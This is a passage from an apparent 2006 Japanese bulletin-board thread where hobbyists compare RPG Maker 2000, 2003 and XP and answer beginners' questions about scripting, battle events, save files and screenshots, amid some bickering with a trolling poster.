HP作成ソフトを使わず自分で調べてある程度メモ帳でHTMLをいじれるくらいの事が出来る人でいと
色々不都合がおこるよ。
XPはこんな人にお勧め
・簡単なプログラムがすでに理解できる、またそう言ったことに対してやる気があり自分で勉強できる人。
・CGを自分で描けてそれをゲームに使いたい人、高解像度で色数制限が無い綺麗なCGを表示可能。
・音楽を自分で作れてそれをゲームに使いたい人、DirectX音源のMidiやoggフォーマット採用で綺麗な音色。
・どうみてもツクール2000の機能ではあき足らない人。
・各作業パートを専門に出来る仲間がいる人。
・ゲームの内部を見られるのが絶対に嫌な人(暗号化機能がありエディタで開けないようにできる)
2000はこんな人にお勧め
・プログラムなどに触れずに気楽に作りたい人。
・自作素材は作らず、多くのフリー素材を使って作る人。
・FCやSFC時代のレトロな調子の画面が好きな人。
・お話や世界観、キャラが表現できれば戦闘システムに固執せず妥協できる人。
・他人のゲームの参考に作りたい人。(暗号化が無いので他人のゲームを開く事が可能。)

220 名前:名前は開発中のものです。 mailto:sage [2006/10/23(月) 20:22:54 ID:j1LHEZ4J]
>>217
君のような人のための体験版だ。

221 名前:タナ栗粉 ◆8Tdr0tD9Mk [2006/10/23(月) 20:53:31 ID:mZL+KK4Z]
偽物うざすぎ
┓(´._ゝ`)┏

222 名前:タナ栗粉 ◆8Tdr0tD9Mk [2006/10/23(月) 21:21:27 ID:mZL+KK4Z]
>>219不都合ってたとえば?今スクリプト導入して問題なければ大丈夫なんだろ?

223 名前:名前は開発中のものです。 mailto:sage [2006/10/23(月) 22:05:34 ID:yY06jPct]
>>218 >>219 >>220
ありがとう
プログラムはVBが出来る程度だけどXPで大丈夫かな?
体験版の存在は忘れてた。少し触ってみるね

224 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 00:01:15 ID:vJLoR8Ab]
2003の話題が一切出てこないのが余計に哀愁を誘うなw

225 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 02:15:32 ID:tvcQkLvE]
>>223
VB出来るならたぶん超余裕。
心配ならまずRuby(簡単に言うとRGSSはRubyにゲーム用ライブラリをくっつけたモノ)を
いじってみれ。オブジェクト指向でちょっとクセがある。

問題は、Rubyに馴染むとVBなんか触りたくもなくなるってことだw
いやマジ、ハマると「他の言語触りたくなくなる病」が出る。

あとは体験版で、その重さも体験してみてくれ。

226 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 02:45:00 ID:lFcMw3Zc]
戦闘とメニューを自作すれば、2003のほうが融通がきくと思うけどなあ



227 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 02:46:30 ID:lFcMw3Zc]
あ、2000と比べてね

228 名前:タナ栗粉 [2006/10/24(火) 11:00:19 ID:7R+PxOJM]
いやあ スクリプトシェルフってすばらしいな あそこがなかったら俺絶対あきらめてた もう10個は導入したよ いやあ素晴らしい
それにしてもXPのデフォのショボさはツクール1だよな

229 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 11:20:04 ID:r47as8HT]
>>226
2003はデフォ戦でも何をやると不味いか良く理解してバランスを取ればそれはそれで融通は利くよ
以前ゲージのたまる速度を4倍にするEXEが配布された事があってそうするとかなり快適だった、
バグ以上にアクティブにした時にゲージ速度の設定が失敗だったような気がする。

実はパッチ導入済み2000でさえ仕様の範囲でも功名心を出しすぎてバトルイベントであることをやると
止まってしまったり、モノが消失したり、パラメーターの数値に異常が起こるバグが未だになるそうだ、
ただ普通の人はあまりやらないことだから話題にならないけど、偶然が重なるとすごい事になる。
あとは格ツクでもなんか画面端である一定の複雑な処理が行われるとキャラが動かなくなるバグが
未だに直してもらえない。

XPはRGSSで何とかできるけど、デフォだと裸の時の攻撃と防御力の問題とか基本的にツクールは
バグ無いって言うのはほとんど無いみたいよ。
それに触らないよう上手に作るのも今や技術の一つみたいなw
2003は触らないように避ける物が多めで難しいだけと思えばやりがいもあるかもね。

230 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 11:56:11 ID:2oMrkWr7]
XPで裸時攻撃防御が0ってのはRGSSの中の式を1つか2ついじれば簡単に治るよ。

231 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 12:02:01 ID:r47as8HT]
知っとりますし、XPはたいていの事はRGSSでフォローが効きますからな。
しかし多かれ少なかれどのツクールにもバグはあるんで上手に付き合って行く方法が肝心と、
2003でコンパク金賞とか取る人もいますし、確かにそういう作品はなまじの2000やXP作品より
不満は少ないし良く出来てるしね。

232 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 13:46:43 ID:tvcQkLvE]
>>231
そりゃ金賞取るような出来なんだから、なまじの作品より出来が良くて当たり前だな。
2003だから金賞を取れたってわけではあるまい。問題はどう作るかだべ。

カスタム性でXPに軍配が上がり、
お手軽さで2000VALUE(2000じゃなく)に軍配が上がる現状で、
じゃあ2003はどこがいいのかって話になるんじゃねーの?

233 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 13:54:54 ID:r47as8HT]
XPのもったりした動作感が嫌いな人も多いからね、素材作りに要求される時間と手間も大きいし、
2003で良いゲームを作ってる人は以外にデフォ戦にバトルイベントを駆使してる人が多いんだよね。

2000と同等の動作感覚とRGSSや素材作りの手間は少なく2000以上の拡張性、つまり使い方次第だから
2003を執拗に避ける必要も無いと言う事、デフォ戦以外では2003は2000に負ける部分なんて無いでしょ。

234 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 14:09:43 ID:tvcQkLvE]
値段。

つーか、負ける部分じゃなくて、勝つ部分はどこかって話。
負けないまでも勝てない2003、という評価になってないかしら?

2000に比べればカスタム性が高くて、
XPに比べれば軽快、と考えていいんだろーか?

235 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 14:33:05 ID:r47as8HT]
実はデフォ戦内のバグを判って使っていれば実はさほど問題は無いのでサイドビューが
1番気軽に作れるツールと言う点、これはXP、2000両方から見て絶対的な優位点。

2000に比べて転職システムやバトルイベントでのコモンの呼び出しなど全体的に融通が利き、
自作戦闘においては使えるキーの多さなどから2000を凌駕している。
2000の軽さと2000を超える拡張性を備えた2003は自作戦闘や無理してアクションRPGなどを
ある種やや変わったものを作るには1番良いツールなんだよ、アクションRPGなんかはXPだと
重くなりがちで中々上手くいかない。

あとは結果論でしかないが、使ってる人が少ないから機能の範囲で丁寧に仕上げただけでも
それなりに個性的にはなる。 RGSSが出来ない、素材が作れない人でも頑張れば個性的な
作品作りが狙いやすい点は野心をくすぐられる要素だと思う。

2003に2000のデフォ戦システムとXPのセルフスイッチが付いたツクールがあれば初めて使う人には
絶対的にお薦めなんだけどなw

236 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 16:44:29 ID:TOo2nNEi]
使えるキーが多いのは凄い助かるよ



237 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 16:47:49 ID:UTUNrIkt]
ツクール全シリーズのバグ一覧とかない?

238 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 17:22:01 ID:nXn3am7L]
2003買おうと思ったが高くてやめた。
2000VALUEは1500円くらいで買えたんだけどなー

239 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 17:35:36 ID:e28O/+jG]
自作してる人って全体の何%ぐらいなの?

240 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 19:01:45 ID:Rr/9J0QA]
グラフィック自作・・・11%くらい
サウンド自作 ・・・2%くらい

241 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 19:31:44 ID:r47as8HT]
>>239
何よりツクール買っても短編のネタゲーくらいしか作らないで終わっちゃったり
結局何も完成しない人が8割以上らしいから、200Xの自作戦闘は極わずかだろうな。

コンパクとかだと自作戦闘多いけどね。

>>240
グラフィックって言ってもシスグラ1つ作っても自作は自作だけど普通に
「これは自分で描いた絵が入ってるな」ってわかる範囲なら10作に1作も無いだろう。
完成品の中で5%未満じゃないかね? 音に関しては1%以下だと思う。

242 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 19:54:38 ID:jB3tWoMS]
ツクールXP発売日に買ったけど、いまだに使ったことないお( ^ω^)

243 名前:名前は開発中のものです。 mailto:sage [2006/10/24(火) 19:59:05 ID:rMnMEySe]
>>236
ジョイパッドに対応していないのであまり嬉しくないな

あとデータベースメニューに職業とか戦闘アニメ2とかの項目が増えたためスクロールさせる必要がある
自作戦闘を作る場合それらは全く必要がないわけだが、わざわざスクロールさせる作業が鬱陶しい

244 名前:名前は開発中のものです。 [2006/10/24(火) 21:29:26 ID:AZRlMR/g]
自分のサイトでこんなん作ってみました。
「game」のコンテンツに飛んでダウンロードしてみてくださーい。
www.geocities.jp/taopaipai_314/top.html

245 名前:名前は開発中のものです。 [2006/10/24(火) 22:57:30 ID:ZAylPyLh]
2003だけど、CD音源って入れられないですか?

246 名前:タナ栗粉 ◆8Tdr0tD9Mk [2006/10/25(水) 12:56:59 ID:1L6/85X/]
あ、あのmbbs.tv/u/read.php?id=uryyy&tid=1608
にぼ、ぼくのげーむのキャラのとかゲームの設定とか写メでUPしたから、よ、よかったら、み、み、見てね(*^_^*)



247 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 16:36:17 ID:AYvazphM]
グロ画像だ

248 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 16:38:08 ID:mLItlVxi]
写メでって…

249 名前:タナ栗粉 mailto:sage [2006/10/25(水) 17:05:15 ID:1L6/85X/]
写メじゃあかんのか?

250 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 17:37:09 ID:mXOZLdYg]
まさに厨房がやりそうな手段だなw

251 名前:タナ栗粉 [2006/10/25(水) 18:38:26 ID:1L6/85X/]
なにおまえ?自分に才能無いからって俺に嫉妬しないでよ

252 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 18:44:33 ID:/5Fff/o2]
いや、才能以前の問題だろう

253 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 19:07:53 ID:Vip8QjuQ]
2000でお聞きしたいのですが
「ドルアーガの塔」っぽい迷路の中で右or左周りで勝手に動く敵キャラを
作りたいんですが、行動パターンの組み方をどうしていいものか?なので
ご教授頂けませんか?

254 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 19:15:04 ID:zLh2v35j]
携帯用のゲームじゃないんだから、普通スクリーンショット写メにしないわな。


255 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 19:18:53 ID:zLh2v35j]
ドルアーガの迷路が良く判らないけど例えば20×15マスなら左上端から時計回りなら
右に20移動、下に15移動、左に20移動、上に15移動にして繰り返し処理させれば良いんじゃないの?


256 名前:タナ栗粉 [2006/10/25(水) 19:23:04 ID:1L6/85X/]
あ?じゃあどうしろっつうんだよ デジカメか?デジカメでやればいいのか!?



257 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 19:25:30 ID:cySAT5q9]
おまえら構ってちゃんを構うなよ。
釣りだろ、どう考えても。そこまでバカじゃあるまい。

258 名前:タナ栗粉 [2006/10/25(水) 19:32:47 ID:1L6/85X/]
いや、冗談抜きでわかんないんだが あれってデジカメでやるんじゃねえの?
ちがう?

259 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 19:38:59 ID:mXOZLdYg]
そうだよデジカメ使うんだよw

260 名前:タナ栗粉 [2006/10/25(水) 19:44:05 ID:1L6/85X/]
え?え?どうやってやるの!教えてください

261 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 19:51:01 ID:SjdKwp0A]
マジレスすると、Print Screen キーを使うんだよ、普通は。

262 名前:タナ栗粉 [2006/10/25(水) 20:05:41 ID:1L6/85X/]
なんですか?それ
詳しく説明していただけると助かります


つうか釣りとか言ってるやつ。釣りたいからって、わざわざ画像公開に写メなんかつかわねえよ!

263 名前:261 mailto:sage [2006/10/25(水) 20:18:13 ID:SjdKwp0A]
>>263
Print Screen キーの説明を頼む。

264 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 20:20:27 ID:SjdKwp0A]
アンカーミスった_| ̄|○
というわけで俺が説明する。

Print Screen キーってのはな、画面をあqwせdrftgyふじこlp;うわー何をするやめfg67つyひjgggftvyぐh

たすけてくれ >>266

265 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 20:23:29 ID:zLh2v35j]
www.google.com/search?lr=lang_ja&q=Print%20Screen

266 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 20:28:58 ID:IdnLI/e7]
キーボード右上ら辺にPRTSCとか何とか書かれたキーがある。
PRinT SCreen な。
あったら、ゲーム起動して撮りたい場面でALT+PRTSCを押す。
そしたら次はペイント起動してCTRL+V、もしくは貼り付けを行う。
以上。



267 名前:タナ栗粉 [2006/10/25(水) 20:46:51 ID:1L6/85X/]
てめえら〜そーんなチョンボ使ってやがったか きたねえぞ

268 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 21:03:23 ID:QLgXa8Ct]
>>266
空気読め、チンカス野郎が。

269 名前:タナ栗粉 [2006/10/25(水) 21:21:08 ID:1L6/85X/]
>>268黙れ豚 臭い息を吐くな

270 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 21:22:10 ID:bM8sQ2GY]
>>267
ついでにRegSeeker入れとけ。アメリカ製のツールなのがアレだが。
いらんレジストリを検索・削除してPCの動作を軽くしてくれる。 ツクールXP使ってるならもっさり解消できるぞ。
ttp://fileforum.betanews.com/detail/RegSeeker/1035382760/1

271 名前:タナ栗粉 [2006/10/25(水) 21:30:22 ID:1L6/85X/]
専門的用語すぎて何が何だか
軽くなるとどうなんの?

272 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 21:33:24 ID:SjdKwp0A]
>>267
ついでに2ちゃんねる専用ブラウザ入れとけ。2ちゃん製のツールなのがアレだが。
いらんタナ厨を検索・あぼーんしてスレの動作を軽くしてくれる。 普通のウェブブラウザ使ってる2ちゃんねらーならもっさり解消できるぞ。

273 名前:名前は開発中のものです。 mailto:sage [2006/10/25(水) 21:36:24 ID:bM8sQ2GY]
>>271
製作作業がスムーズになる。処理落ちせずに済む。
ま、入れといて損はない。RGSS多用するなら尚更な。

>>272
Live2ch使ってるお。まぁ、見ててくれ。

274 名前:タナ栗粉 [2006/10/26(木) 07:36:13 ID:toAbc18O]
ふーんなるほどね
ところでFF7のエアリスの曲やバハムートラグーンのヨヨの曲みたいに感動場面に入れられるようないい曲しらない?もちろんフリー素材で

275 名前:名前は開発中のものです。 [2006/10/26(木) 08:17:22 ID:GOV/XFZO]
初めて作るんだが、XPと2000どっちがいい?
RGSSは結構弄れるんだが。


276 名前:名前は開発中のものです。 mailto:sage [2006/10/26(木) 08:17:38 ID:wOdkj3iM]
ところでお前が作ったゲーム、誰がやんの?



277 名前:タナ栗粉 [2006/10/26(木) 08:34:55 ID:toAbc18O]
>>277そしたら結局は好みの問題じゃね?ただXPのデフォのショボさはありえないからなあ
>>276おまえとか

278 名前:名前は開発中のものです。 mailto:sage [2006/10/26(木) 09:32:32 ID:mBSPFwB1]
>>275

>>218-220

この質問多いからテンプレ作った方が良いかも。

279 名前:名前は開発中のものです。 mailto:sage [2006/10/26(木) 12:36:38 ID:RK+HVQrx]
>>274
自分で探す努力もしないのか?

280 名前:タナ栗粉 [2006/10/26(木) 13:44:59 ID:toAbc18O]
え、だって(>_<)
 だって(>_<)

281 名前:名前は開発中のものです。 mailto:sage [2006/10/26(木) 13:48:47 ID:W7Tze5oj]
もうそいつの相手しないほうがいいよ

282 名前:名前は開発中のものです。 mailto:sage [2006/10/26(木) 14:01:59 ID:mMF5Zshf]
2000で、セーブファイルは普通そのゲームのフォルダ内に作られるけど、
ゲームによってはマイドキュメントにセーブ用のフォルダが作られる時があるけど、何が違うの?

283 名前:タナ栗粉 [2006/10/26(木) 17:20:29 ID:toAbc18O]
>>281おまえ俺が羨ましいんだろ?
┓(´._ゝ`)┏

284 名前:名前は開発中のものです。 mailto:sage [2006/10/26(木) 17:28:02 ID:mBSPFwB1]
>>282
そのフォルダが読取専用(書き込み禁止属性)の場合マイドキュメントにセーブされるよ。
ゲームをCDに焼いて直接そこから起動したりすればやはり書き込めないのでそうなるしね、
エラーが出ないで自動的にマイドキュメントの方に書き込むのは良くて来てると思ったな。

285 名前:名前は開発中のものです。 mailto:sage [2006/10/26(木) 17:35:30 ID:hSgRw4iN]
応用して、そのセーブデータを2つのゲームの間で使いまわすなんて遊びはできるだろうか。

286 名前:名前は開発中のものです。 mailto:sage [2006/10/26(木) 17:38:50 ID:mBSPFwB1]
そこまでは考えなかったが書き込み禁止フォルダに2つゲームが入っていたら
上書きされちゃうんだろうか?急に心配になってきた。



287 名前:タナ栗粉 [2006/10/26(木) 18:41:03 ID:toAbc18O]
ツクールXPってわりといい曲そろってるんだよね フィールド1とかバトル2とかかなりクオリティー高いけど唯一感動する場面とかに適した曲が微妙なんだよね

288 名前:名前は開発中のものです。 [2006/10/26(木) 21:34:30 ID:Cmu0eJxE]
すみません、質問させていただきます。
ツクール2000において戦闘中の特殊技能などのコマンドから、主人公キャラをパワーアップさせることは可能でしょうか?
単に攻撃力や防御力の増加のみではなく、属性耐性、状態異常耐性、特技も変化させるといったどちらかというと転職に近い感じです。
わかりやすい?例えで言うなら、サモンナイト3の抜剣覚醒や、マイナーですが和風RPGのONIシリーズの転身のようなシステムをつくりたいのです。
戦闘中のメンバーの入れ替えをできる限りプレイヤーの任意で行えるようなシステムの制作は2000では不可能でしょうか??

289 名前:名前は開発中のものです。 mailto:sage [2006/10/26(木) 21:49:15 ID:mBSPFwB1]
>>288
攻撃力や防御力の増加、属性耐性の強化までは普通の強化魔法で可能

初めての人にはやや面倒だけど戦闘中プレイヤーの任意でキャラの入れ替えも特殊技能を
スイッチ技にしてバトルイベントを使えば可能。

290 名前:名前は開発中のものです。 mailto:sage [2006/10/26(木) 22:53:03 ID:vP6TmYvZ]
ネフェシェルでそんな感じの事をやってなかったっけか。

291 名前:名前は開発中のものです。 [2006/10/27(金) 00:42:35 ID:0hWWAfm5]
なるほど、ありがとうございます!!
ということはやはり作成したら敵グループひとつずつににコピーする必要があるということでしょうか??

ネシェフェルですか・・・参考にさせていただきます!!

292 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 00:55:40 ID:b+1rnh+V]
>>288

特技欄にスイッチでバトルイベント呼び出し特技を作る

特技変えたいなら「覚える・忘れる」
攻撃力や耐性変えたいなら「装備変更」
状態異常に「覚醒」とか作っとけば見目も良い

ONIっぽいのなら、素直に別主人公データーベースで作成し入れ替えだが、
他のバトルイベントとの折り合いが悪い

もう遅いか


293 名前:名前は開発中のものです。 [2006/10/27(金) 01:17:48 ID:0hWWAfm5]
>>292
ありがとうございます!!
確かにキャラ替えするよりそちらの方が簡単ですし無難そうですね!
しかも「覚醒」ってかっこいいですね。
いろいろ試してみます!!

294 名前:名前は開発中のものです。 [2006/10/27(金) 05:04:02 ID:a6sCTbNr]
ツクール2000の体験版でmp3を使用する方法はあるでしょうか?

295 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 10:20:17 ID:nH2KU9xB]
覚醒するときの台詞は「ガガガガガ」「内臓食べたい」で。

296 名前:タナ栗粉 [2006/10/27(金) 12:35:08 ID:OEepMRcj]
あんま喋んな 口がくせー



297 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 13:07:25 ID:sy7c9kad]
>>294
バージョンが1.5以上じゃなきゃ無理

298 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 19:06:54 ID:FvGjZdjA]
6式の転職システムのスクリプトを書いてみたんだが、
それに、一定のアイテムを持ってると特別な職業につける<例えば3の悟りの書みたいな>ゃうにするにはどうすればいい?


299 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 19:11:37 ID:GxND08we]
>>298
あるアイテムを持ってるかどうか調べれば?

300 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 19:12:11 ID:FvGjZdjA]
タナ栗粉>sageろ厨房が。

301 名前:名前は開発中のものです。 [2006/10/27(金) 19:13:42 ID:FvGjZdjA]
>>299
確かにそうだ。アイテムを監視をイベントに組み込みゃ言い訳だな。
助かった。

302 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 19:14:29 ID:FvGjZdjA]
悪いsage忘れた。

303 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 19:50:52 ID:GxND08we]
sageろ厨房がw

つーかマジでそこがわからなかったのか>>301
そのやり方がわかんねーんだよ、ってツッコまれようと思ってたのにw

304 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 22:12:45 ID:FvGjZdjA]
期待さしてスマソ

305 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 23:13:41 ID:6bV1987R]
シンプルで単純だけど動きが早くてテンポいい戦闘と動きはもっさりしてるけど戦略性が高くて選択肢が多い戦闘ってどっちがいいと思う?

306 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 23:30:54 ID:yAU75vNv]
どっちも程度問題じゃないか?
そんな質問で良し悪しを決められるほど単純な物かな?



307 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 23:48:24 ID:O16t/ozf]
シンプルは普通のRPG
戦略性はSRPGってトコじゃないかな?

ボス戦ならともかく、ルーチンワークな戦闘にいちいち気張ってるのも
疲れるし何かと面倒だと思う
ロードス島みたいなイベントクリアで大量の経験値が入るスタイルを
上手にオミットするなら戦略性重視戦闘も可能かと思うけど?

例えばゼルダみたいなシンボルエンカウントだと要所のダンジョン攻略って
形ならシナリオ次第で面白くなるかと
でもDQやFFみたいなランダムエンカウントのスタイルのRPGだと
はっきり言って作業量だけが増してひたすら疲れるだけじゃないかな?

308 名前:名前は開発中のものです。 mailto:sage [2006/10/27(金) 23:56:53 ID:FLHmPOpC]
動きの早さと戦略性の深さは全然関係ない

戦略性を深くするとプレイヤーの思考時間は長くなるだろうけど
トロくてもっさりする演出を取り入れる必要は皆無

309 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 00:00:40 ID:6bV1987R]
あ〜やっぱり他人の意見っつ〜のは参考になるな。自分だけで考えると訳分からんなるし。とりあえずd

310 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 00:07:36 ID:VGjPAAEd]
ツクールのゲームで質問いいですか?
私は専ら遊ぶ側なのですが、最近遊ぼうとすると
ゲーム画面が何もしていないのに最小化されてしまいます。
ボタンを押せば最小化され、ほうっておいても3秒ごとくらいに最小化。

誰か、この症状の原因と対策、知っている方いましたら教えてください。

311 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 00:20:22 ID:7UPuf6Wy]
>>310
初めて聞く症例だけど、2000、2003、XP?
あと、どのゲームでも均等に起こるのかな?
ゲームをWindow状態して遊んでも起こるかな?

恐らくは2000か2003のゲームで全画面表示のときに起こるんじゃないだろうか?
もしそうなら、何らかのプログラムが君の知らないところで起動してアクティブになっている
それも3秒おきくらいに。
常駐プログラムやサービス等の中に自分のインストールした記憶の無いものが混じっていないか
まずはチェックを。

312 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 00:53:05 ID:VGjPAAEd]
>>311
おお、どうもありがとうございます!
タスクマネージャーで心当たりのないものをどんどん消して言ったら戻りました!
常駐プログラムは盲点でした。(いや、はじめに気づくべきだった…)
とりあえず、あとで原因のプログラムを捜して見ます。
アドバイス、ありがとうございました。

ちなみにバクったのは2003でした。おっしゃるとおり、全画面表示です。

313 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 06:12:45 ID:kNBm0JN5]
DQの馬車に乗ってるメンバーみたいに、
戦闘に参加していない控えのメンバーにも経験値を半分与えることは出来ますか?

314 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 07:08:47 ID:hf0X96XD]
出来るよやり方は自分で調べてね

315 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 14:18:30 ID:iKj1YDWa]
すいませんツクールって絶対あの小さな画面なんですか?パソコンの画面全体にはできないのでしょうか?

316 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 14:39:52 ID:suGbMaAI]
おい、おまいら
職業ごとに装備の制限をかけるにはどうすればいい?



317 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 14:55:31 ID:1cZqPrOH]
>>316
1.装備できるタイプ分だけキャラを作る
2.自作メニュー画面を作って、そこから装備させる
3.お前の質問の仕方が気に食わない

318 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 15:06:23 ID:7UPuf6Wy]
しかし、最近ツクールの種類も、その他必要な環境も書かかない質問が多いな。
これじゃ答えようが無い。

319 名前:名前は開発中のものです。 [2006/10/28(土) 17:36:39 ID:DuYBmfYM]
質問です
PC版のツクールを始めようかと思うのですが
PSツクール3のようなフィールドマップはありますか?
もしくは作ることは可能ですかね?

320 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 19:02:33 ID:iKj1YDWa]
テストプレイって小さめの画面だけど完成したゲームは画面全体でできないんですかね?

321 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 19:05:23 ID:IP3t31DH]
>>319
無いけど再現する事は可能

>>320
F4

322 名前:名前は開発中のものです。 mailto:sage [2006/10/28(土) 21:10:27 ID:O/qYYCBP]
マニュアル嫁だな

323 名前:名前は開発中のものです。 [2006/10/28(土) 21:57:15 ID:/XRuyQMR]
ツクール2000でセーブデータを移動させることで引き継げるようなタイプのゲームを作っているのですが
実は現在作っている章の前の章のデータで
MAPを毎回0001に移動させてセーブさせてそこから次の章にリンクさせているのですが
それを忘れて0026でセーブをさせてしまって引継げる状態じゃなくなってしまいました
とりあえず現在作っている章0026にいつも0001に働かせている役割のイベントを入れてみたのですが
うまくいきません
なぜか「無効な主人公が指定されました」とのエラーが出ます
考えられそうな箇所をいじってみたのですがかなりデータベースをいじってからTPをはじめたので
さっぱりミスっている箇所が分かりません
本当に困っています
誰か助けてください

324 名前:323 [2006/10/28(土) 22:46:36 ID:/XRuyQMR]
自己解決できました

325 名前:名前は開発中のものです。 [2006/10/29(日) 00:14:11 ID:rdWhChFH]
質問です。
RPGツクール95のセーブデータ改造するツールって存在するのでしょうか?

326 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 02:21:22 ID:+Vn3MZlV]
しない。以上。



327 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 12:05:45 ID:PnimaIxL]
する。以下。

328 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 13:03:46 ID:YAWIsQ5d]
最近の質問厨はなんで下げないんだ?

329 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 13:10:57 ID:h02CodCE]
sageデフォの専ブラ使ってないからだろ。
べつに今更下げる必要なんか無いけどな、業者なんて下がってても来るし
こんな過疎板にほとんど来ないしな。

330 名前:名前は開発中のものです。 [2006/10/29(日) 17:30:16 ID:hI+lIUZa]
皆さんはファイトクラブと酔拳と燃えよドラゴンの中から好きな映画を挙げるとどれですか?

331 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 17:43:50 ID:h02CodCE]
>>330
ファイトクラブ見てないんだよな、酔拳って日本版は最後の方が実はカットされていて、
工業用のメチルアルコールを飲むと視神経がやられて失明してしまう事があるんだけど、
ジャッキーが最後に見えない目が見えないって言い出すしゃれにならないオチがあるんだ。
ブルースリーなら燃えよドラゴンよりは死亡遊戯が好きだな。

あえて3つの中ならファイトクラブ見ていないから酔拳と答えるしかない。

格闘技アクションものならOnly The Strong が1番面白かった。

332 名前:名前は開発中のものです。 [2006/10/29(日) 17:52:20 ID:hI+lIUZa]
>工業用のメチルアルコールを飲むと視神経がやられて失明してしまう事があるんだけど、
>ジャッキーが最後に見えない目が見えないって言い出すしゃれにならないオチがあるんだ。
そうだっけ?国宝を持ち出そうとした奴をやっつけて盛り上がってる時に
ジャッキーが失明した上、頭もあぼーんなっちゃって
   ∩___∩
   | ノ      ヽ/⌒) あばばばばばば
  /⌒) (゚)   (゚) | .|
 / /   ( _●_)  ミ/    ∩―−、
.(  ヽ  |∪|  /    / (゚) 、_ `ヽ
 \    ヽノ /      /  ( ●  (゚) |つ
  /      /      | /(入__ノ   ミ   あばばっあびゃばびゃばば
 |       /       、 (_/    ノ
 |  /\ \       \___ ノ゙ ─ー
 | /    )  )       \       _
 ∪    (  \        \     \
       \_)
みたいな感じだった気がするんだが

333 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 18:17:26 ID:h02CodCE]
>>332
そうそう、あれ見えないとか言ってるけど酔ってへベレケになって半笑いで
周りに居る人もヨッパライのたわごとみたいな感じで捕らえて気が付いていない感じで
見ようによってはかなりやばい笑えないオチだったよ。

自分が好きって言ったのはそこが部分がカットされた日本版のやつね。

334 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 20:56:19 ID:Q+WO22qg]
どうでもいいが、それ酔拳2じゃないのか?

335 名前:名前は開発中のものです。 [2006/10/29(日) 21:02:13 ID:2PYabi9z]
やっぱプログラミングでゲーム作るのは無理だと感じたんで、
とりあえずツクールXPとライブメーカー使ってみているのですが、


これって、最初に出てくる「ニューゲーム・コンティニュー・シャットダウン」
という表示の前に動画は挟めないのでしょうか?

336 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 21:58:47 ID:DG8/qTIw]
ツクールxpでは動画ファイルの再生自体無理だから、
自分で画像を連続表示するしかない。



337 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 22:01:10 ID:h02CodCE]
どのみちスタートメニュ前に挟むのは無理じゃないの?


338 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 22:04:54 ID:DG8/qTIw]
普通にスタートメニュー前に挟める

339 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 23:21:42 ID:h02CodCE]
2000の場合EBのロゴが出てすぐに「ニューゲーム・コンティニュー・シャットダウン」の
スタートメニュが表示されその前のムービーなんて挟めないが?

340 名前:名前は開発中のものです。 mailto:sage [2006/10/29(日) 23:47:06 ID:4Luy9+rU]
